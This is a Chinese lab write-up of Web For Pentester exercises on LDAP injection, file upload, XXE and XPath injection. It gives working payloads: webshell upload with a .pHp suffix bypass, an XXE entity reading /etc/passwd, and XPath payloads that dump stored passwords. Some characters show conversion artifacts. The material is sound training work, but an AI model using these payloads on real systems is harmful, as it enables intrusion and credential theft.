刪除所有參數(shù),回顯:
Notice: Undefined index: password in /var/www/ldap/example2.php on line 9 Notice: Undefined index: name in /var/www/ldap/example2.php on line 10 UNAUTHENTICATED


這部分類似于MySQL注入,需要先學(xué)習(xí)LDAP的基本知識(shí)

  • LDAP基礎(chǔ)

  • LDAP服務(wù)器搭建

  • 題解

主要還是要理解一些LDAP語(yǔ)法,以及運(yùn)用到了PHP的00截?cái)?br /> 達(dá)到了類似sqli萬(wàn)能密碼的效果

File Upload

Example 1

好像是直接傳的意思

準(zhǔn)備一句話,蟻劍連


源碼:

<?php if(isset($_FILES['image'])) { $dir = '/var/www/upload/images/';$file = basename($_FILES['image']['name']);if(move_uploaded_file($_FILES['image']['tmp_name'], $dir. $file)) {echo "Upload done";echo "Your file can be found <a href=\"/upload/images/".htmlentities($file)."\">here</a>";} else { echo 'Upload failed';} } ?><form method="POST" action="example1.php" enctype="multipart/form-data"> Mon image : <input type="file" name="image"><br/> <input type="submit" name="send" value="Send file"> </form>

沒(méi)有任何防護(hù)措施

Example 2

直接上傳一句話顯示“NO PHP”

試了試00截?cái)?#xff0c;發(fā)現(xiàn)不太行

源碼:

$file = basename($_FILES['image']['name']); if (preg_match('/\.php$/',$file)) {DIE("NO PHP"); }

可能是因?yàn)槭呛蠖薖HP進(jìn)行后綴檢查而不是前端,所以00截?cái)嘣跈z查之前就已經(jīng)生效,所以檢測(cè)的文件名確實(shí)是以.php結(jié)尾的,所以通不過(guò)檢查

大小寫混拼后綴.pHp可繞過(guò)

另外蟻劍那里有個(gè)連接類型為“PHP4”也可以考慮一下


官網(wǎng)提到的幾種繞過(guò)方法:

  • 使用.php3、.php4或者是.php5后綴,一些服務(wù)器說(shuō)不定還支持
  • 在.php后面使用一個(gè)Apache識(shí)別不了的后綴(例如.fuckyou),Apache識(shí)別不了可能會(huì)嘗試識(shí)別下一個(gè)后綴(但問(wèn)題是蟻劍也識(shí)別不了啊,可能和使用的工具有關(guān))

XML attacks

Example 1

原始參數(shù):?xml=<test>hacker</test>
盲猜是XXE

試試payload:?xml=<!DOCTYPE any[<!ENTITY js SYSTEM "file:///etc/passwd">]><test>&js;</test>

結(jié)果回顯:
“Hello Warning: simplexml_load_string(): Entity: line 1: parser error : Premature end of data in tag test line 1 in /var/www/xml/example1.php on line 4 Warning: simplexml_load_string(): ]> in /var/www/xml/example1.php on line 4 Warning: simplexml_load_string(): ^ in /var/www/xml/example1.php on line 4 ”

哦哦,原來(lái)是GET傳遞參數(shù),所以要URL編碼(涉及到了&等字符)
編碼一下就好


源碼:

$xml=simplexml_load_string($_GET['xml']); print_r((string)$xml);

涉及到一個(gè)simplexml_load_string函數(shù)可以看看

Example 2

參數(shù)變成了?name=hacker
可能是XPath注入

果然是
先復(fù)習(xí)一下XPath的知識(shí)


輸入一個(gè)',報(bào)錯(cuò)誤了

輸入",沒(méi)有報(bào)錯(cuò),沒(méi)有回顯,可能是單引號(hào)閉合變量

前后主動(dòng)閉合,看看能不能爆出所有值:?name=']|//*|ss['
回顯:“hackerHello hackerpentesterlabadminHello admins3cr3tP4ssw0rd ”

雖然是所有都爆出來(lái)了,但是沒(méi)有分隔符,啥是啥也不知道

也可以00截?cái)?#xff0c;?name=' or 1=1]%00,也是永真條件
但是只能查詢當(dāng)前層次的所有節(jié)點(diǎn)

另外了解到另外一種全注的payload:
?name=' or 1=1]/parent::*/child::node()%00
其中parent::*用于選擇當(dāng)前節(jié)點(diǎn)的所有父節(jié)點(diǎn)
child::node()用于選擇所有子節(jié)點(diǎn)


源查詢代碼:$xpath = "users/user/name[.='".$_GET['name']."']/parent::*/message";

剩下倒是可以盲注,但是有時(shí)候也可以直接猜
因?yàn)槿⒌淖侄斡行┛雌饋?lái)像是密碼
所以可以試試猜原XML里有password節(jié)點(diǎn),并把他們注出來(lái):?name=']|//password%00
回顯:“pentesterlabs3cr3tP4ssw0rd”
類似的還有user、name等常見字段也可以試試
雖然都沒(méi)有分隔

簡(jiǎn)單盲注:

判斷第一個(gè)節(jié)點(diǎn)的名字的第一個(gè)字符是‘d’:
?name=hacker' and substring(name(/*[position()=1]),1,1)='d' and '1'='1

判斷第一個(gè)節(jié)點(diǎn)名字是“data”:
?name=hacker' and name(/*[position()=1])='data' and '1'='1

下略BLABLABLA

總結(jié)

以上是生活随笔為你收集整理的[NOTE] Web For Pentester靶场练习笔记的全部?jī)?nèi)容,希望文章能夠幫你解決所遇到的問(wèn)題。

如果覺(jué)得生活随笔網(wǎng)站內(nèi)容還不錯(cuò),歡迎將生活随笔推薦給好友。